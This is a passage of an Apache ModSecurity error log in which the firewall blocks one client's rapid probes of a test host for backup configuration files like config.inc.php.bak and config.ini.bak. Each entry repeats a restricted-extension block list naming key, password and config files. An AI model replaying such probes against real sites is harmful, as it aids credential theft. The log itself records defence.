[Mon Jul 28 20:46:28.722613 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.inc.php.bak&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1ccgAAAAM&quot;]
[Mon Jul 28 20:46:28.722942 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.inc.php.bak&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1ccgAAAAM&quot;]
[Mon Jul 28 20:46:28.723144 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.inc.php.bak&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1ccgAAAAM&quot;]
[Mon Jul 28 20:46:28.743442 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/connect.php.bak&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1ccwAAAAM&quot;]
[Mon Jul 28 20:46:28.743800 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/connect.php.bak&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1ccwAAAAM&quot;]
[Mon Jul 28 20:46:28.743992 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/connect.php.bak&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1ccwAAAAM&quot;]
[Mon Jul 28 20:46:28.764461 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/connection.php.bak&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1cdAAAAAM&quot;]
[Mon Jul 28 20:46:28.764869 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/connection.php.bak&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1cdAAAAAM&quot;]
[Mon Jul 28 20:46:28.765066 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/connection.php.bak&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1cdAAAAAM&quot;]
[Mon Jul 28 20:46:28.785172 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/conn.php.bak&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1cdQAAAAM&quot;]
[Mon Jul 28 20:46:28.785492 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/conn.php.bak&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1cdQAAAAM&quot;]
[Mon Jul 28 20:46:28.785660 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/conn.php.bak&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1cdQAAAAM&quot;]
[Mon Jul 28 20:46:28.805598 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/conn.asp.bak&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1cdgAAAAM&quot;]
[Mon Jul 28 20:46:28.805890 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/conn.asp.bak&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1cdgAAAAM&quot;]
[Mon Jul 28 20:46:28.806041 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/conn.asp.bak&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1cdgAAAAM&quot;]
[Mon Jul 28 20:46:28.825972 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/connection.asp.bak&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1cdwAAAAM&quot;]
[Mon Jul 28 20:46:28.826268 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/connection.asp.bak&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1cdwAAAAM&quot;]
[Mon Jul 28 20:46:28.826423 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/connection.asp.bak&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1cdwAAAAM&quot;]
[Mon Jul 28 20:46:28.846333 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.jsp.bak&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1ceAAAAAM&quot;]
[Mon Jul 28 20:46:28.846635 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.jsp.bak&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1ceAAAAAM&quot;]
[Mon Jul 28 20:46:28.846780 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.jsp.bak&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1ceAAAAAM&quot;]
[Mon Jul 28 20:46:28.866587 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.ini.bak&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1ceQAAAAM&quot;]
[Mon Jul 28 20:46:28.866862 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.ini.bak&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1ceQAAAAM&quot;]
[Mon Jul 28 20:46:28.867014 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.ini.bak&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1ceQAAAAM&quot;]
[Mon Jul 28 20:46:28.887116 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/config.inc.php.bak&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1cegAAAAM&quot;]
[Mon Jul 28 20:46:28.887399 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/config.inc.php.bak&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1cegAAAAM&quot;]
[Mon Jul 28 20:46:28.887564 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/config.inc.php.bak&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1cegAAAAM&quot;]
[Mon Jul 28 20:46:28.907404 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag 